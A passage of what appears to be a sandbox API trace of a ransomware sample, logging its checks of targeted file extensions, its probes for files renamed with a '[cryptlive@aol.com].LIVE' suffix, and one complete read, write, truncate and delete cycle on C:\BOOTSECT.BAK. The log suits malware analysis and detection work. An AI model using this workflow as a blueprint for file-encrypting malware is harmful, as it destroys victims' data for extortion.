lpString2=".mui") returned 1 [0062.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.352] lstrlenW (lpString=".zip") returned 4 [0062.352] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.352] lstrlenW (lpString=".rar") returned 4 [0062.352] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.352] lstrlenW (lpString=".bz2") returned 4 [0062.352] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.352] lstrlenW (lpString=".7z") returned 3 [0062.352] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.352] lstrlenW (lpString=".dbf") returned 4 [0062.352] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.352] lstrlenW (lpString=".1cd") returned 4 [0062.352] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0062.353] lstrlenW (lpString=".jpg") returned 4 [0062.353] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.353] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0062.353] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0062.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0062.353] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3584) returned 1 [0062.353] CloseHandle (hObject=0x21c) returned 1 [0062.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0062.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.354] lstrlenW (lpString=".doc") returned 4 [0062.354] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.354] lstrlenW (lpString=".docx") returned 5 [0062.354] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.354] lstrlenW (lpString=".pdf") returned 4 [0062.354] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.354] lstrlenW (lpString=".xls") returned 4 [0062.354] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.354] lstrlenW (lpString=".xlsx") returned 5 [0062.354] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.354] lstrlenW (lpString=".ppt") returned 4 [0062.354] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.354] lstrlenW (lpString=".zip") returned 4 [0062.354] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.354] lstrlenW (lpString=".rar") returned 4 [0062.354] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.354] lstrlenW (lpString=".bz2") returned 4 [0062.354] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.354] lstrlenW (lpString=".7z") returned 3 [0062.354] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.354] lstrlenW (lpString=".dbf") returned 4 [0062.354] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.354] lstrlenW (lpString=".1cd") returned 4 [0062.354] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.354] lstrlenW (lpString=".jpg") returned 4 [0062.354] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.355] lstrlenW (lpString=".doc") returned 4 [0062.355] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.355] lstrlenW (lpString=".docx") returned 5 [0062.355] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.355] lstrlenW (lpString=".pdf") returned 4 [0062.355] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.355] lstrlenW (lpString=".xls") returned 4 [0062.355] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.355] lstrlenW (lpString=".xlsx") returned 5 [0062.355] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.355] lstrlenW (lpString=".ppt") returned 4 [0062.355] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.355] lstrlenW (lpString=".zip") returned 4 [0062.355] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.355] lstrlenW (lpString=".rar") returned 4 [0062.355] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.355] lstrlenW (lpString=".bz2") returned 4 [0062.355] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.355] lstrlenW (lpString=".7z") returned 3 [0062.355] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.355] lstrlenW (lpString=".dbf") returned 4 [0062.355] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.355] lstrlenW (lpString=".1cd") returned 4 [0062.355] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0062.355] lstrlenW (lpString=".jpg") returned 4 [0062.356] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.356] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0062.356] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0062.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.489] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4096) returned 1 [0062.489] CloseHandle (hObject=0x1e4) returned 1 [0062.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0062.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0062.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0062.492] lstrlenW (lpString=".doc") returned 4 [0062.492] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.492] lstrlenW (lpString=".docx") returned 5 [0062.492] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.492] lstrlenW (lpString=".pdf") returned 4 [0062.492] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.492] lstrlenW (lpString=".xls") returned 4 [0062.492] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.492] lstrlenW (lpString=".xlsx") returned 5 [0062.492] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.492] lstrlenW (lpString=".ppt") returned 4 [0062.492] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0062.492] lstrlenW (lpString=".zip") returned 4 [0062.492] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.492] lstrlenW (lpString=".rar") returned 4 [0062.492] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.492] lstrlenW (lpString=".bz2") returned 4 [0062.492] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.492] lstrlenW (lpString=".7z") returned 3 [0062.492] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0062.492] lstrlenW (lpString=".dbf") returned 4 [0062.492] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.170] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8704) returned 1 [0063.170] CloseHandle (hObject=0x21c) returned 1 [0063.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0063.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.171] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=22528) returned 1 [0063.171] CloseHandle (hObject=0x21c) returned 1 [0063.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0063.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.172] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2560) returned 1 [0063.172] CloseHandle (hObject=0x21c) returned 1 [0063.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0063.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.174] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8704) returned 1 [0063.174] CloseHandle (hObject=0x21c) returned 1 [0063.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0063.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.175] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=10240) returned 1 [0063.175] CloseHandle (hObject=0x21c) returned 1 [0063.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0063.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.176] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2560) returned 1 [0063.176] CloseHandle (hObject=0x21c) returned 1 [0063.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0063.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.177] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2560) returned 1 [0063.177] CloseHandle (hObject=0x21c) returned 1 [0063.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0063.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.177] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=43520) returned 1 [0063.177] CloseHandle (hObject=0x21c) returned 1 [0063.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0063.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff Thread: id = 11 os_tid = 0x2dc [0036.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5e07c0 [0036.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5f07c8 [0036.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570588 [0036.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x573348 [0036.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705a0 [0036.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x35f0020 [0036.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705b8 [0036.211] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5705b8, Size=0x20) returned 0x555df0 [0036.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705b8 [0036.211] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5705b8, Size=0x20) returned 0x555dc8 [0036.211] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.211] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.211] Wow64DisableWow64FsRedirection (in: OldValue=0x2c8ff58 | out: OldValue=0x2c8ff58*=0x0) returned 1 [0036.211] lstrlenW (lpString="kernel32.dll") returned 12 [0036.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.211] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.211] Sleep (dwMilliseconds=0x64) [0036.339] Sleep (dwMilliseconds=0x64) [0036.823] Sleep (dwMilliseconds=0x64) [0036.997] Sleep (dwMilliseconds=0x64) [0037.151] lstrcmpiW (lpString1=".BAK", lpString2=".LIVE") returned -1 [0037.151] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0037.151] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.315] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=8192) returned 1 [0037.315] CloseHandle (hObject=0x174) returned 1 [0037.316] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0037.316] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\bootsect.bak.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.316] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0037.316] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.316] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.316] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.316] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\bootsect.bak.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0037.343] GetLastError () returned 0x0 [0037.343] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2000, lpOverlapped=0x0) returned 1 [0037.358] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0037.359] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.360] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.360] SetEndOfFile (hFile=0x168) returned 1 [0037.799] CloseHandle (hObject=0x168) returned 1 [0037.801] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.801] SetEndOfFile (hFile=0x174) returned 1 [0037.802] CloseHandle (hObject=0x174) returned 1 [0037.802] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x27) returned 1 [0037.802] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0037.802] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.803] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.803] lstrlenW (lpString=".doc") returned 4 [0037.803] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString=".docx") returned 5 [0037.803] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0037.803] lstrlenW (lpString=".pdf") returned 4 [0037.803] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString=".xls") returned 4 [0037.803] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString=".xlsx") returned 5 [0037.803] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0037.803] lstrlenW (lpString=".ppt") returned 4 [0037.803] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.803] lstrlenW (lpString=".zip") returned 4 [0037.803] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString=".rar") returned 4 [0037.803] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString=".bz2") returned 4 [0037.803] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString=".7z") returned 3 [0037.803] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0037.803] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.803] lstrlenW (lpString=".dbf") returned 4 [0037.803] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0037.803] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.803] lstrlenW (lpString=".1cd") returned 4 [0037.803] lstrcmpiW (lpString1=".1cd", 